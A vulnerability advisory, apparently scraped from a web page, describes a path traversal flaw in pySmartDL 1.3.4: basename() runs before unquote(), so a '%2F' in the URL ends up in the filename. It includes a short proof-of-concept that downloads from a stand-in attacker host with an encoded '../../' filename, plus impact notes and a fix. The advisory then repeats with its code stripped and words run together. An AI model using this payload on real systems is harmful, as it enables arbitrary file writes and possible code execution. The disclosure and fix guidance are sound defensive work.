Security Vulnerability: Path Traversal in pysmartdl
Summary
pySmartDL version 1.3.4 is vulnerable to a path traversal attack due to improper sanitization of URL-encoded path separators in filenames derived from download URLs. An attacker who controls the download URL can cause files to be written to arbitrary locations on the filesystem.
Affected Package
Vulnerability Details
In pySmartDL.py at line 105, the filename for a downloaded file is derived from the URL path using:
fn = unquote(basename(urlparse(url).path))
The basename() call is applied to the raw (still URL-encoded) path before unquote() decodes percent-encoded characters. As a result, a URL containing %2F (the URL encoding of /) will pass through basename() intact — because %2F is not a literal slash and therefore not treated as a path separator — and only after unquote() is applied does it become a real /. This means the final filename can contain directory traversal sequences (e.g., ../../evil), allowing the resulting file to be written outside the intended destination directory.
Root cause: unquote() is called after basename(), so URL-encoded path separators are not stripped.
Attack vector: Any user-supplied or attacker-controlled download URL passed to SmartDL can exploit this behavior.
Proof of Concept
from pySmartDL import SmartDL
# %2F decodes to '/' after unquote, bypassing basename's directory stripping.
# The resolved filename becomes "../../evil_file" relative to dest.
malicious_url = "http://attacker.example.com/files/..%2F..%2Fevil_file"
dest = "/tmp/downloads/"
obj = SmartDL(malicious_url, dest)
obj.start()
# File is written to /tmp/evil_file instead of /tmp/downloads/evil_file
Impact
An attacker who can influence the download URL (e.g., via a configuration file, user input, or a redirected HTTP response) can write files to arbitrary filesystem paths accessible by the running process. This can lead to:
- Overwriting sensitive configuration files
- Planting malicious executables in startup directories
- Remote code execution if files are written to locations that are subsequently executed
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Remediation
Apply unquote() before basename() so that percent-encoded slashes are decoded first and then stripped by the path basename operation:
# Vulnerable (current):
fn = unquote(basename(urlparse(url).path))
# Fixed:
fn = basename(unquote(urlparse(url).path))
Additionally, consider validating the final filename to ensure it contains no directory separators and does not resolve outside the intended destination directory (e.g., using os.path.realpath and checking the result starts with the destination prefix).
Disclosure Timeline
- 2026-07-02: Discovered via DAST scan
- 2026-07-02: Reported to maintainer
Security Vulnerability: Path Traversal in pysmartdl
Summary
pySmartDL version 1.3.4 is vulnerable to a path traversal attack due to improper sanitization of URL-encoded path separators in filenames derived from download URLs. An attacker who controls the download URL can cause files to be written to arbitrary locations on the filesystem.
Affected Package
Vulnerability Details
In
pySmartDL.pyat line 105, the filename for a downloaded file is derived from the URL path using:The
basename()call is applied to the raw (still URL-encoded) path beforeunquote()decodes percent-encoded characters. As a result, a URL containing%2F(the URL encoding of/) will pass throughbasename()intact — because%2Fis not a literal slash and therefore not treated as a path separator — and only afterunquote()is applied does it become a real/. This means the final filename can contain directory traversal sequences (e.g.,../../evil), allowing the resulting file to be written outside the intended destination directory.Root cause:
unquote()is called afterbasename(), so URL-encoded path separators are not stripped.Attack vector: Any user-supplied or attacker-controlled download URL passed to
SmartDLcan exploit this behavior.Proof of Concept
Impact
An attacker who can influence the download URL (e.g., via a configuration file, user input, or a redirected HTTP response) can write files to arbitrary filesystem paths accessible by the running process. This can lead to:
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Remediation
Apply
unquote()beforebasename()so that percent-encoded slashes are decoded first and then stripped by the path basename operation:Additionally, consider validating the final filename to ensure it contains no directory separators and does not resolve outside the intended destination directory (e.g., using
os.path.realpathand checking the result starts with the destination prefix).Disclosure Timeline